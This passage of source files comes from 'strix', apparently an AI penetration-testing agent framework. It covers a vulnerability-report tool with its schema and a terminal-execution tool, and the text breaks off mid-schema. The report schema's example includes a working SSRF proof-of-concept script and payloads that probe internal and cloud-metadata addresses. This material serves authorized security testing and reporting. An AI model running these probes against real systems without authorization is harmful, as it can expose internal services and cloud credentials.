    "content": "import contextlib\nimport re\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\n_CVSS_FIELDS = (\n    \"attack_vector\",\n    \"attack_complexity\",\n    \"privileges_required\",\n    \"user_interaction\",\n    \"scope\",\n    \"confidentiality\",\n    \"integrity\",\n    \"availability\",\n)\n\n\ndef parse_cvss_xml(xml_str: str) -> dict[str, str] | None:\n    if not xml_str or not xml_str.strip():\n        return None\n    result = {}\n    for field in _CVSS_FIELDS:\n        match = re.search(rf\"<{field}>(.*?)</{field}>\", xml_str, re.DOTALL)\n        if match:\n            result[field] = match.group(1).strip()\n    return result if result else None\n\n\ndef parse_code_locations_xml(xml_str: str) -> list[dict[str, Any]] | None:\n    if not xml_str or not xml_str.strip():\n        return None\n    locations = []\n    for loc_match in re.finditer(r\"<location>(.*?)</location>\", xml_str, re.DOTALL):\n        loc: dict[str, Any] = {}\n        loc_content = loc_match.group(1)\n        for field in (\n            \"file\",\n            \"start_line\",\n            \"end_line\",\n            \"snippet\",\n            \"label\",\n            \"fix_before\",\n            \"fix_after\",\n        ):\n            field_match = re.search(rf\"<{field}>(.*?)</{field}>\", loc_content, re.DOTALL)\n            if field_match:\n                raw = field_match.group(1)\n                value = (\n                    raw.strip(\"\\n\")\n                    if field in (\"snippet\", \"fix_before\", \"fix_after\")\n                    else raw.strip()\n                )\n                if field in (\"start_line\", \"end_line\"):\n                    with contextlib.suppress(ValueError, TypeError):\n                        loc[field] = int(value)\n                elif value:\n                    loc[field] = value\n        if loc.get(\"file\") and loc.get(\"start_line\") is not None:\n            locations.append(loc)\n    return locations if locations else None\n\n\ndef _validate_file_path(path: str) -> str | None:\n    if not path or not path.strip():\n        return \"file path cannot be empty\"\n    p = PurePosixPath(path)\n    if p.is_absolute():\n        return f\"file path must be relative, got absolute: '{path}'\"\n    if \"..\" in p.parts:\n        return f\"file path must not contain '..': '{path}'\"\n    return None\n\n\ndef _validate_code_locations(locations: list[dict[str, Any]]) -> list[str]:\n    errors = []\n    for i, loc in enumerate(locations):\n        path_err = _validate_file_path(loc.get(\"file\", \"\"))\n        if path_err:\n            errors.append(f\"code_locations[{i}]: {path_err}\")\n        start = loc.get(\"start_line\")\n        if not isinstance(start, int) or start < 1:\n            errors.append(f\"code_locations[{i}]: start_line must be a positive integer\")\n        end = loc.get(\"end_line\")\n        if end is None:\n            errors.append(f\"code_locations[{i}]: end_line is required\")\n        elif not isinstance(end, int) or end < 1:\n            errors.append(f\"code_locations[{i}]: end_line must be a positive integer\")\n        elif isinstance(start, int) and end < start:\n            errors.append(f\"code_locations[{i}]: end_line ({end}) must be >= start_line ({start})\")\n    return errors\n\n\ndef _extract_cve(cve: str) -> str:\n    match = re.search(r\"CVE-\\d{4}-\\d{4,}\", cve)\n    return match.group(0) if match else cve.strip()\n\n\ndef _validate_cve(cve: str) -> str | None:\n    if not re.match(r\"^CVE-\\d{4}-\\d{4,}$\", cve):\n        return f\"invalid CVE format: '{cve}' (expected 'CVE-YYYY-NNNNN')\"\n    return None\n\n\ndef _extract_cwe(cwe: str) -> str:\n    match = re.search(r\"CWE-\\d+\", cwe)\n    return match.group(0) if match else cwe.strip()\n\n\ndef _validate_cwe(cwe: str) -> str | None:\n    if not re.match(r\"^CWE-\\d+$\", cwe):\n        return f\"invalid CWE format: '{cwe}' (expected 'CWE-NNN')\"\n    return None\n\n\ndef calculate_cvss_and_severity(\n    attack_vector: str,\n    attack_complexity: str,\n    privileges_required: str,\n    user_interaction: str,\n    scope: str,\n    confidentiality: str,\n    integrity: str,\n    availability: str,\n) -> tuple[float, str, str]:\n    try:\n        from cvss import CVSS3\n\n        vector = (\n            f\"CVSS:3.1/AV:{attack_vector}/AC:{attack_complexity}/\"\n            f\"PR:{privileges_required}/UI:{user_interaction}/S:{scope}/\"\n            f\"C:{confidentiality}/I:{integrity}/A:{availability}\"\n        )\n\n        c = CVSS3(vector)\n        scores = c.scores()\n        severities = c.severities()\n\n        base_score = scores[0]\n        base_severity = severities[0]\n\n        severity = base_severity.lower()\n\n    except Exception:\n        import logging\n\n        logging.exception(\"Failed to calculate CVSS\")\n        return 7.5, \"high\", \"\"\n    else:\n        return base_score, severity, vector\n\n\ndef _validate_required_fields(**kwargs: str | None) -> list[str]:\n    validation_errors: list[str] = []\n\n    required_fields = {\n        \"title\": \"Title cannot be empty\",\n        \"description\": \"Description cannot be empty\",\n        \"impact\": \"Impact cannot be empty\",\n        \"target\": \"Target cannot be empty\",\n        \"technical_analysis\": \"Technical analysis cannot be empty\",\n        \"poc_description\": \"PoC description cannot be empty\",\n        \"poc_script_code\": \"PoC script/code is REQUIRED - provide the actual exploit/payload\",\n        \"remediation_steps\": \"Remediation steps cannot be empty\",\n    }\n\n    for field_name, error_msg in required_fields.items():\n        value = kwargs.get(field_name)\n        if not value or not str(value).strip():\n            validation_errors.append(error_msg)\n\n    return validation_errors\n\n\ndef _validate_cvss_parameters(**kwargs: str) -> list[str]:\n    validation_errors: list[str] = []\n\n    cvss_validations = {\n        \"attack_vector\": [\"N\", \"A\", \"L\", \"P\"],\n        \"attack_complexity\": [\"L\", \"H\"],\n        \"privileges_required\": [\"N\", \"L\", \"H\"],\n        \"user_interaction\": [\"N\", \"R\"],\n        \"scope\": [\"U\", \"C\"],\n        \"confidentiality\": [\"N\", \"L\", \"H\"],\n        \"integrity\": [\"N\", \"L\", \"H\"],\n        \"availability\": [\"N\", \"L\", \"H\"],\n    }\n\n    for param_name, valid_values in cvss_validations.items():\n        value = kwargs.get(param_name)\n        if value not in valid_values:\n            validation_errors.append(\n                f\"Invalid {param_name}: {value}. Must be one of: {valid_values}\"\n            )\n\n    return validation_errors\n\n\n@register_tool(sandbox_execution=False)\ndef create_vulnerability_report(  # noqa: PLR0912\n    title: str,\n    description: str,\n    impact: str,\n    target: str,\n    technical_analysis: str,\n    poc_description: str,\n    poc_script_code: str,\n    remediation_steps: str,\n    cvss_breakdown: str,\n    endpoint: str | None = None,\n    method: str | None = None,\n    cve: str | None = None,\n    cwe: str | None = None,\n    code_locations: str | None = None,\n) -> dict[str, Any]:\n    validation_errors = _validate_required_fields(\n        title=title,\n        description=description,\n        impact=impact,\n        target=target,\n        technical_analysis=technical_analysis,\n        poc_description=poc_description,\n        poc_script_code=poc_script_code,\n        remediation_steps=remediation_steps,\n    )\n\n    parsed_cvss = parse_cvss_xml(cvss_breakdown)\n    if not parsed_cvss:\n        validation_errors.append(\"cvss: could not parse CVSS breakdown XML\")\n    else:\n        validation_errors.extend(_validate_cvss_parameters(**parsed_cvss))\n\n    parsed_locations = parse_code_locations_xml(code_locations) if code_locations else None\n\n    if parsed_locations:\n        validation_errors.extend(_validate_code_locations(parsed_locations))\n    if cve:\n        cve = _extract_cve(cve)\n        cve_err = _validate_cve(cve)\n        if cve_err:\n            validation_errors.append(cve_err)\n    if cwe:\n        cwe = _extract_cwe(cwe)\n        cwe_err = _validate_cwe(cwe)\n        if cwe_err:\n            validation_errors.append(cwe_err)\n\n    if validation_errors:\n        return {\"success\": False, \"message\": \"Validation failed\", \"errors\": validation_errors}\n\n    assert parsed_cvss is not None\n    cvss_score, severity, cvss_vector = calculate_cvss_and_severity(**parsed_cvss)\n\n    try:\n        from strix.telemetry.tracer import get_global_tracer\n\n        tracer = get_global_tracer()\n        if tracer:\n            from strix.llm.dedupe import check_duplicate\n\n            existing_reports = tracer.get_existing_vulnerabilities()\n\n            candidate = {\n                \"title\": title,\n                \"description\": description,\n                \"impact\": impact,\n                \"target\": target,\n                \"technical_analysis\": technical_analysis,\n                \"poc_description\": poc_description,\n                \"poc_script_code\": poc_script_code,\n                \"endpoint\": endpoint,\n                \"method\": method,\n            }\n\n            dedupe_result = check_duplicate(candidate, existing_reports)\n\n            if dedupe_result.get(\"is_duplicate\"):\n                duplicate_id = dedupe_result.get(\"duplicate_id\", \"\")\n\n                duplicate_title = \"\"\n                for report in existing_reports:\n                    if report.get(\"id\") == duplicate_id:\n                        duplicate_title = report.get(\"title\", \"Unknown\")\n                        break\n\n                return {\n                    \"success\": False,\n                    \"message\": (\n                        f\"Potential duplicate of '{duplicate_title}' \"\n                        f\"(id={duplicate_id[:8]}...). Do not re-report the same vulnerability.\"\n                    ),\n                    \"duplicate_of\": duplicate_id,\n                    \"duplicate_title\": duplicate_title,\n                    \"confidence\": dedupe_result.get(\"confidence\", 0.0),\n                    \"reason\": dedupe_result.get(\"reason\", \"\"),\n                }\n\n            report_id = tracer.add_vulnerability_report(\n                title=title,\n                description=description,\n                severity=severity,\n                impact=impact,\n                target=target,\n                technical_analysis=technical_analysis,\n                poc_description=poc_description,\n                poc_script_code=poc_script_code,\n                remediation_steps=remediation_steps,\n                cvss=cvss_score,\n                cvss_breakdown=parsed_cvss,\n                endpoint=endpoint,\n                method=method,\n                cve=cve,\n                cwe=cwe,\n                code_locations=parsed_locations,\n            )\n\n            return {\n                \"success\": True,\n                \"message\": f\"Vulnerability report '{title}' created successfully\",\n                \"report_id\": report_id,\n                \"severity\": severity,\n                \"cvss_score\": cvss_score,\n            }\n\n        import logging\n\n        logging.warning(\"Current tracer not available - vulnerability report not stored\")\n\n    except (ImportError, AttributeError) as e:\n        return {\"success\": False, \"message\": f\"Failed to create vulnerability report: {e!s}\"}\n    else:\n        return {\n            \"success\": True,\n            \"message\": f\"Vulnerability report '{title}' created (not persisted)\",\n            \"warning\": \"Report could not be persisted - tracer unavailable\",\n        }\n"
  },
  {
    "path": "strix/tools/reporting/reporting_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"create_vulnerability_report\">\n    <description>Create a vulnerability report for a discovered security issue.\n\nIMPORTANT: This tool includes automatic LLM-based deduplication. Reports that describe the same vulnerability (same root cause on the same asset) as an existing report will be rejected.\n\nUse this tool to document a specific fully verified security vulnerability.\n\nDO NOT USE:\n- For general security observations without specific vulnerabilities\n- When you don't have concrete vulnerability details\n- When you don't have a proof of concept, or still not 100% sure if it's a vulnerability\n- For tracking multiple vulnerabilities (create separate reports)\n- For reporting multiple vulnerabilities at once. Use a separate create_vulnerability_report for each vulnerability.\n- To re-report a vulnerability that was already reported (even with different details)\n\nWhite-box requirement (when you have access to the code): You MUST include code_locations with nested XML, including fix_before/fix_after on locations where a fix is proposed.\n\nDEDUPLICATION: If this tool returns with success=false and mentions a duplicate, DO NOT attempt to re-submit. The vulnerability has already been reported. Move on to testing other areas.\n\nProfessional, customer-facing report rules (PDF-ready):\n- Do NOT include internal or system details: never mention local or absolute paths (e.g., \"/workspace\"), internal tools, agents, orchestrators, sandboxes, models, system prompts/instructions, connection issues, internal errors/logs/stack traces, or tester machine environment details.\n- Tone and style: formal, objective, third-person, vendor-neutral, concise. No runbooks, checklists, or engineering notes. Avoid headings like \"QUICK\", \"Approach\", or \"Techniques\" that read like internal guidance.\n- Use a standard penetration testing report structure per finding:\n  1) Overview\n  2) Severity and CVSS (vector only)\n  3) Affected asset(s)\n  4) Technical details\n  5) Proof of concept (repro steps plus code)\n  6) Impact\n  7) Remediation\n  8) Evidence (optional request/response excerpts, etc.) in the technical analysis field.\n- Numbered steps are allowed ONLY within the proof of concept and remediation sections. Elsewhere, use clear, concise paragraphs suitable for customer-facing reports.\n- Language must be precise and non-vague; avoid hedging.\n</description>\n    <parameters>\n      <parameter name=\"title\" type=\"string\" required=\"true\">\n        <description>Clear, specific title (e.g., \"SQL Injection in /api/users Login Parameter\"). But not too long. Don't mention CVE number in the title.</description>\n      </parameter>\n      <parameter name=\"description\" type=\"string\" required=\"true\">\n        <description>Comprehensive description of the vulnerability and how it was discovered</description>\n      </parameter>\n      <parameter name=\"impact\" type=\"string\" required=\"true\">\n        <description>Impact assessment: what attacker can do, business risk, data at risk</description>\n      </parameter>\n      <parameter name=\"target\" type=\"string\" required=\"true\">\n        <description>Affected target: URL, domain, or Git repository</description>\n      </parameter>\n      <parameter name=\"technical_analysis\" type=\"string\" required=\"true\">\n        <description>Technical explanation of the vulnerability mechanism and root cause</description>\n      </parameter>\n      <parameter name=\"poc_description\" type=\"string\" required=\"true\">\n        <description>Step-by-step instructions to reproduce the vulnerability</description>\n      </parameter>\n      <parameter name=\"poc_script_code\" type=\"string\" required=\"true\">\n        <description>Actual proof of concept code, exploit, payload, or script that demonstrates the vulnerability. Python code.</description>\n      </parameter>\n      <parameter name=\"remediation_steps\" type=\"string\" required=\"true\">\n        <description>Specific, actionable steps to fix the vulnerability</description>\n      </parameter>\n      <parameter name=\"cvss_breakdown\" type=\"string\" required=\"true\">\n        <description>CVSS 3.1 base score breakdown as nested XML. All 8 metrics are required.\n\nEach metric element contains a single uppercase letter value:\n- attack_vector: N (Network), A (Adjacent), L (Local), P (Physical)\n- attack_complexity: L (Low), H (High)\n- privileges_required: N (None), L (Low), H (High)\n- user_interaction: N (None), R (Required)\n- scope: U (Unchanged), C (Changed)\n- confidentiality: N (None), L (Low), H (High)\n- integrity: N (None), L (Low), H (High)\n- availability: N (None), L (Low), H (High)</description>\n        <format>\n          <attack_vector>N</attack_vector>\n          <attack_complexity>L</attack_complexity>\n          <privileges_required>N</privileges_required>\n          <user_interaction>N</user_interaction>\n          <scope>U</scope>\n          <confidentiality>H</confidentiality>\n          <integrity>H</integrity>\n          <availability>N</availability>\n        </format>\n      </parameter>\n      <parameter name=\"endpoint\" type=\"string\" required=\"false\">\n        <description>API endpoint(s) or URL path(s) (e.g., \"/api/login\") - for web vulnerabilities, or Git repository path(s) - for code vulnerabilities</description>\n      </parameter>\n      <parameter name=\"method\" type=\"string\" required=\"false\">\n        <description>HTTP method(s) (GET, POST, etc.) - for web vulnerabilities.</description>\n      </parameter>\n      <parameter name=\"cve\" type=\"string\" required=\"false\">\n        <description>CVE identifier. ONLY the ID, e.g. \"CVE-2024-1234\" — do NOT include the name or description.\nYou must be 100% certain of the exact CVE number. Do NOT guess, approximate, or hallucinate CVE IDs.\nIf web_search is available, use it to verify the CVE exists and matches this vulnerability. If you cannot verify it, omit this field entirely.</description>\n      </parameter>\n      <parameter name=\"cwe\" type=\"string\" required=\"false\">\n        <description>CWE identifier. ONLY the ID, e.g. \"CWE-89\" — do NOT include the name or parenthetical (wrong: \"CWE-89 (SQL Injection)\").\n\nYou must be 100% certain of the exact CWE number. Do NOT guess or approximate.\nIf web_search is available and you are unsure, use it to look up the correct CWE. If you cannot be certain, omit this field entirely.\nAlways prefer the most specific child CWE over a broad parent.\nFor example, use CWE-89 instead of CWE-74, or CWE-78 instead of CWE-77.\n\nReference (ID only — names here are just for your reference, do NOT include them in the value):\n- Injection: CWE-79 XSS, CWE-89 SQLi, CWE-78 OS Command Injection, CWE-94 Code Injection, CWE-77 Command Injection\n- Auth/Access: CWE-287 Improper Authentication, CWE-862 Missing Authorization, CWE-863 Incorrect Authorization, CWE-306 Missing Authentication for Critical Function, CWE-639 Authorization Bypass Through User-Controlled Key\n- Web: CWE-352 CSRF, CWE-918 SSRF, CWE-601 Open Redirect, CWE-434 Unrestricted Upload of File with Dangerous Type\n- Memory: CWE-787 Out-of-bounds Write, CWE-125 Out-of-bounds Read, CWE-416 Use After Free, CWE-120 Classic Buffer Overflow\n- Data: CWE-502 Deserialization of Untrusted Data, CWE-22 Path Traversal, CWE-611 XXE\n- Crypto/Config: CWE-798 Use of Hard-coded Credentials, CWE-327 Use of Broken or Risky Cryptographic Algorithm, CWE-311 Missing Encryption of Sensitive Data, CWE-916 Password Hash With Insufficient Computational Effort\n\nDo NOT use broad/parent CWEs like CWE-74, CWE-20, CWE-200, CWE-284, or CWE-693.</description>\n      </parameter>\n      <parameter name=\"code_locations\" type=\"string\" required=\"false\">\n        <description>Nested XML list of code locations where the vulnerability exists. MANDATORY for white-box testing.\n\nCRITICAL — HOW fix_before/fix_after WORK:\nfix_before and fix_after are LITERAL BLOCK-LEVEL REPLACEMENTS used directly for GitHub/GitLab PR suggestion blocks. When a reviewer clicks \"Accept suggestion\", the platform replaces the EXACT lines from start_line to end_line with the fix_after content. This means:\n\n1. fix_before MUST be an EXACT, VERBATIM copy of the source code at lines start_line through end_line. Same whitespace, same indentation, same line breaks. If fix_before does not match the actual file content character-for-character, the suggestion will be wrong or will corrupt the code when accepted.\n\n2. fix_after is the COMPLETE replacement for that entire block. It replaces ALL lines from start_line to end_line. It can be more lines, fewer lines, or the same number of lines as fix_before.\n\n3. start_line and end_line define the EXACT line range being replaced. They must precisely cover the lines in fix_before — no more, no less. If the vulnerable code spans lines 45-48, then start_line=45 and end_line=48, and fix_before must contain all 4 lines exactly as they appear in the file.\n\nMULTI-PART FIXES:\nMany fixes require changes in multiple non-contiguous parts of a file (e.g., adding an import at the top AND changing code lower down), or across multiple files. Since each fix_before/fix_after pair covers ONE contiguous block, you MUST create SEPARATE location entries for each part of the fix:\n\n- Each location covers one contiguous block of lines to change\n- Use the label field to describe how each part relates to the overall fix (e.g., \"Add import for parameterized query library\", \"Replace string interpolation with parameterized query\")\n- Order fix locations logically: primary fix first (where the vulnerability manifests), then supporting changes (imports, config, etc.)\n\nCOMMON MISTAKES TO AVOID:\n- Do NOT guess line numbers. Read the file and verify the exact lines before reporting.\n- Do NOT paraphrase or reformat code in fix_before. It must be a verbatim copy.\n- Do NOT set start_line=end_line when the vulnerable code spans multiple lines. Cover the full range.\n- Do NOT put an import addition and a code change in the same fix_before/fix_after if they are not on adjacent lines. Split them into separate locations.\n- Do NOT include lines outside the vulnerable/fixed code in fix_before just to \"pad\" the range.\n- Do NOT duplicate changes across locations. Each location's fix_after must ONLY contain changes for its own line range. Never repeat a change that is already covered by another location.\n\nEach location element fields:\n- file (REQUIRED): Path relative to repository root. No leading slash, no absolute paths, no \"..\" traversal.\n  Correct: \"src/db/queries.ts\" or \"app/routes/users.py\"\n  Wrong: \"/workspace/repo/src/db/queries.ts\", \"./src/db/queries.ts\", \"../../etc/passwd\"\n- start_line (REQUIRED): Exact 1-based line number where the vulnerable/affected code begins. Must be a positive integer. You must be certain of this number — go back and verify against the actual file content if needed.\n- end_line (REQUIRED): Exact 1-based line number where the vulnerable/affected code ends. Must be >= start_line. Set equal to start_line ONLY if the code is truly on a single line.\n- snippet (optional): The actual source code at this location, copied verbatim from the file.\n- label (optional): Short role description for this location. For multi-part fixes, use this to explain the purpose of each change (e.g., \"Add import for escape utility\", \"Sanitize user input before SQL query\").\n- fix_before (optional): The vulnerable code to be replaced — VERBATIM copy of lines start_line through end_line. Must match the actual source character-for-character including whitespace and indentation.\n- fix_after (optional): The corrected code that replaces the entire fix_before block. Must be syntactically valid and ready to apply as a direct replacement.\n\nLocations without fix_before/fix_after are informational context (e.g. showing the source of tainted data).\nLocations with fix_before/fix_after are actionable fixes (used directly for PR suggestion blocks).</description>\n        <format>\n          <location>\n            <file>src/db/queries.ts</file>\n            <start_line>42</start_line>\n            <end_line>45</end_line>\n            <snippet>const query = (\n    `SELECT * FROM users ` +\n    `WHERE id = ${id}`\n);</snippet>\n            <label>Unsanitized input used in SQL query (sink)</label>\n            <fix_before>const query = (\n    `SELECT * FROM users ` +\n    `WHERE id = ${id}`\n);</fix_before>\n            <fix_after>const query = 'SELECT * FROM users WHERE id = $1';\nconst result = await db.query(query, [id]);</fix_after>\n          </location>\n          <location>\n            <file>src/routes/users.ts</file>\n            <start_line>15</start_line>\n            <end_line>15</end_line>\n            <snippet>const id = req.params.id</snippet>\n            <label>User input from request parameter (source)</label>\n          </location>\n        </format>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing:\n- On success: success=true, message, report_id, severity, cvss_score\n- On duplicate detection: success=false, message (with duplicate info), duplicate_of (ID), duplicate_title, confidence (0-1), reason (why it's a duplicate)</description>\n    </returns>\n\n    <examples>\n<function=create_vulnerability_report>\n<parameter=title>Server-Side Request Forgery (SSRF) via URL Preview Feature Enables Internal Network Access</parameter>\n<parameter=description>A server-side request forgery (SSRF) vulnerability was identified in the URL preview feature that generates rich previews for user-supplied links.\n\nThe application performs server-side HTTP requests to retrieve metadata (title, description, thumbnails). Insufficient validation of the destination allows an attacker to coerce the server into making requests to internal network hosts and link-local addresses that are not directly reachable from the internet.\n\nThis issue is particularly high risk in cloud-hosted environments where link-local metadata services may expose sensitive information (e.g., instance identifiers, temporary credentials) if reachable from the application runtime.</parameter>\n<parameter=impact>Successful exploitation may allow an attacker to:\n\n- Reach internal-only services (admin panels, service discovery endpoints, unauthenticated microservices)\n- Enumerate internal network topology based on timing and response differences\n- Access link-local services that should never be reachable from user input paths\n- Potentially retrieve sensitive configuration data and temporary credentials in certain hosting environments\n\nBusiness impact includes increased likelihood of lateral movement, data exposure from internal systems, and compromise of cloud resources if credentials are obtained.</parameter>\n<parameter=target>https://app.acme-corp.com</parameter>\n<parameter=technical_analysis>The vulnerable behavior occurs when the application accepts a user-controlled URL and fetches it server-side to generate a preview. The response body and/or selected metadata fields are then returned to the client.\n\nObserved security gaps:\n- No robust allowlist of approved outbound domains\n- No effective blocking of private, loopback, and link-local address ranges\n- Redirect handling can be leveraged to reach disallowed destinations if not revalidated after following redirects\n- DNS resolution and IP validation appear to occur without normalization safeguards, creating bypass risk (e.g., encoded IPs, mixed IPv6 notation, DNS rebinding scenarios)\n\nAs a result, an attacker can supply a URL that resolves to an internal destination. The server performs the request from a privileged network position, and the attacker can infer results via returned preview content or measurable response differences.</parameter>\n<parameter=poc_description>To reproduce:\n\n1. Authenticate to the application as a standard user.\n2. Navigate to the link preview feature (e.g., “Add Link”, “Preview URL”, or equivalent UI).\n3. Submit a URL pointing to an internal resource. Example payloads:\n\n   - http://127.0.0.1:80/\n   - http://localhost:8080/\n   - http://10.0.0.1:80/\n   - http://169.254.169.254/ (link-local)\n\n4. Observe that the server attempts to fetch the destination and returns either:\n   - Preview content/metadata from the target, or\n   - Error/timing differences that confirm network reachability.\n\nImpact validation:\n- Use a controlled internal endpoint (or a benign endpoint that returns a distinct marker) to demonstrate that the request is performed by the server, not the client.\n- If the application follows redirects, validate whether an allowlisted URL can redirect to a disallowed destination, and whether the redirected-to destination is still fetched.</parameter>\n<parameter=poc_script_code>import json\nimport time\nfrom urllib.parse import urljoin\n\nimport requests\n\nBASE = \"https://app.acme-corp.com\"\nPREVIEW_ENDPOINT = urljoin(BASE, \"/api/v1/link-preview\")\n\nSESSION_COOKIE = \"\"  # Set to your authenticated session cookie value if needed\n\nTARGETS = [\n    \"http://127.0.0.1:80/\",\n    \"http://localhost:8080/\",\n    \"http://10.0.0.1:80/\",\n    \"http://169.254.169.254/\",\n]\n\n\ndef preview(url: str) -> tuple[int, float, str]:\n    headers = {\n        \"Content-Type\": \"application/json\",\n    }\n    cookies = {}\n    if SESSION_COOKIE:\n        cookies[\"session\"] = SESSION_COOKIE\n\n    payload = {\"url\": url}\n    start = time.time()\n    resp = requests.post(PREVIEW_ENDPOINT, headers=headers, cookies=cookies, data=json.dumps(payload), timeout=15)\n    elapsed = time.time() - start\n\n    body = resp.text\n    snippet = body[:500]\n    return resp.status_code, elapsed, snippet\n\n\ndef main() -> int:\n    print(f\"Endpoint: {PREVIEW_ENDPOINT}\")\n    print(\"Testing SSRF candidates (server-side fetch behavior):\")\n    print()\n\n    for url in TARGETS:\n        try:\n            status, elapsed, snippet = preview(url)\n            print(f\"URL: {url}\")\n            print(f\"Status: {status}\")\n            print(f\"Elapsed: {elapsed:.2f}s\")\n            print(\"Body (first 500 chars):\")\n            print(snippet)\n            print(\"-\" * 60)\n        except requests.RequestException as e:\n            print(f\"URL: {url}\")\n            print(f\"Request failed: {e}\")\n            print(\"-\" * 60)\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())</parameter>\n<parameter=remediation_steps>Implement layered SSRF defenses:\n\n1. Explicit allowlist for outbound destinations\n   - Only permit fetching from a maintained set of approved domains (and required schemes).\n   - Reject all other destinations by default.\n\n2. Robust IP range blocking after DNS resolution\n   - Resolve the hostname and block private, loopback, link-local, and reserved ranges for both IPv4 and IPv6.\n   - Re-validate on every redirect hop; do not follow redirects to disallowed destinations.\n\n3. URL normalization and parser hardening\n   - Normalize and validate the URL using a strict parser.\n   - Reject ambiguous encodings and unusual notations that can bypass filters.\n\n4. Network egress controls (defense in depth)\n   - Enforce outbound firewall rules so the application runtime cannot reach sensitive internal ranges or link-local addresses.\n   - If previews are required, route outbound requests through a dedicated egress proxy with policy enforcement and auditing.\n\n5. Response handling hardening\n   - Avoid returning raw response bodies from previews.\n   - Strictly limit what metadata is returned and apply size/time limits to outbound fetches.\n\n6. Monitoring and alerting\n   - Log and alert on preview attempts to unusual destinations, repeated failures, high-frequency requests, or attempts to access blocked ranges.</parameter>\n<parameter=cvss_breakdown>\n  <attack_vector>N</attack_vector>\n  <attack_complexity>L</attack_complexity>\n  <privileges_required>L</privileges_required>\n  <user_interaction>N</user_interaction>\n  <scope>C</scope>\n  <confidentiality>H</confidentiality>\n  <integrity>H</integrity>\n  <availability>L</availability>\n</parameter>\n<parameter=endpoint>/api/v1/link-preview</parameter>\n<parameter=method>POST</parameter>\n<parameter=cwe>CWE-918</parameter>\n<parameter=code_locations>\n  <location>\n    <file>src/services/link-preview.ts</file>\n    <start_line>45</start_line>\n    <end_line>48</end_line>\n    <snippet>  const options = { timeout: 5000 };\n  const response = await fetch(userUrl, options);\n  const html = await response.text();\n  return extractMetadata(html);</snippet>\n    <label>Unvalidated user URL passed to server-side fetch (sink)</label>\n    <fix_before>  const options = { timeout: 5000 };\n  const response = await fetch(userUrl, options);\n  const html = await response.text();\n  return extractMetadata(html);</fix_before>\n    <fix_after>  const validated = await validateAndResolveUrl(userUrl);\n  if (!validated) throw new ForbiddenError('URL not allowed');\n  const options = { timeout: 5000 };\n  const response = await fetch(validated, options);\n  const html = await response.text();\n  return extractMetadata(html);</fix_after>\n  </location>\n  <location>\n    <file>src/services/link-preview.ts</file>\n    <start_line>2</start_line>\n    <end_line>2</end_line>\n    <snippet>import { extractMetadata } from '../utils/html';</snippet>\n    <label>Add import for URL validation utility</label>\n    <fix_before>import { extractMetadata } from '../utils/html';</fix_before>\n    <fix_after>import { extractMetadata } from '../utils/html';\nimport { validateAndResolveUrl } from '../utils/url-validator';</fix_after>\n  </location>\n  <location>\n    <file>src/routes/api/v1/links.ts</file>\n    <start_line>12</start_line>\n    <end_line>12</end_line>\n    <snippet>const userUrl = req.body.url</snippet>\n    <label>User-controlled URL from request body (source)</label>\n  </location>\n</parameter>\n</function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/terminal/__init__.py",
    "content": "from .terminal_actions import terminal_execute\n\n\n__all__ = [\"terminal_execute\"]\n"
  },
  {
    "path": "strix/tools/terminal/terminal_actions.py",
    "content": "from typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\n@register_tool\ndef terminal_execute(\n    command: str,\n    is_input: bool = False,\n    timeout: float | None = None,\n    terminal_id: str | None = None,\n    no_enter: bool = False,\n) -> dict[str, Any]:\n    from .terminal_manager import get_terminal_manager\n\n    manager = get_terminal_manager()\n\n    try:\n        return manager.execute_command(\n            command=command,\n            is_input=is_input,\n            timeout=timeout,\n            terminal_id=terminal_id,\n            no_enter=no_enter,\n        )\n    except (ValueError, RuntimeError) as e:\n        return {\n            \"error\": str(e),\n            \"command\": command,\n            \"terminal_id\": terminal_id or \"default\",\n            \"content\": \"\",\n            \"status\": \"error\",\n            \"exit_code\": None,\n            \"working_dir\": None,\n        }\n"
  },
  {
    "path": "strix/tools/terminal/terminal_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"terminal_execute\">\n    <description>Execute a bash command in a persistent terminal session. The terminal maintains state (environment variables, current directory, running processes) between commands.</description>\n    <parameters>\n      <parameter name=\"command\" type=\"string\" required=\"true\">\n        <description>The bash command to execute. Can be empty to check output of running commands (will wait for timeout period to collect output).\n\n        Supported special keys and sequences (based on official tmux key names):\n        - Control sequences: C-c, C-d, C-z, C-a, C-e, C-k, C-l, C-u, C-w, etc. (also ^c, ^d, etc.)\n        - Navigation keys: Up, Down, Left, Right, Home, End\n        - Page keys: PageUp, PageDown, PgUp, PgDn, PPage, NPage\n        - Function keys: F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12\n        - Special keys: Enter, Escape, Space, Tab, BTab, BSpace, DC, IC\n        - Note: Use official tmux names (BSpace not Backspace, DC not Delete, IC not Insert, Escape not Esc)\n        - Meta/Alt sequences: M-key (e.g., M-f, M-b) - tmux official modifier\n        - Shift sequences: S-key (e.g., S-F6, S-Tab, S-Left)\n        - Combined modifiers: C-S-key, C-M-key, S-M-key, etc.\n\n        Special keys work automatically - no need to set is_input=true for keys like C-c, C-d, etc.\n        These are useful for interacting with vim, emacs, REPLs, and other interactive applications.</description>\n      </parameter>\n      <parameter name=\"is_input\" type=\"boolean\" required=\"false\">\n        <description>If true, the command is sent as input to a currently running process. If false (default), the command is executed as a new bash command.\n        Note: Special keys (C-c, C-d, etc.) automatically work when a process is running - you don't need to set is_input=true for them.\n        Use is_input=true for regular text input to running processes.</description>\n      </parameter>\n      <parameter name=\"timeout\" type=\"number\" required=\"false\">\n        <description>Optional timeout in seconds for command execution. CAPPED AT 60 SECONDS. If not provided, uses default wait (30s). On timeout, the command keeps running and the tool returns with status 'running'. For truly long-running tasks, prefer backgrounding with '&'.</description>\n      </parameter>\n      <parameter name=\"terminal_id\" type=\"string\" required=\"false\">\n        <description>Identifier for the terminal session. Defaults to \"default\". Use different IDs to manage multiple concurrent terminal sessions.</description>\n      </parameter>\n      <parameter name=\"no_enter\" type=\"boolean\" required=\"false\">\n        <description>If true, don't automatically add Enter/newline after the command. Useful for:\n        - Interactive prompts where you want to send keys without submitting\n        - Navigation keys in full-screen applications\n\n        Examples:\n        - terminal_execute(\"gg\", is_input=true, no_enter=true)  # Vim: go to top\n        - 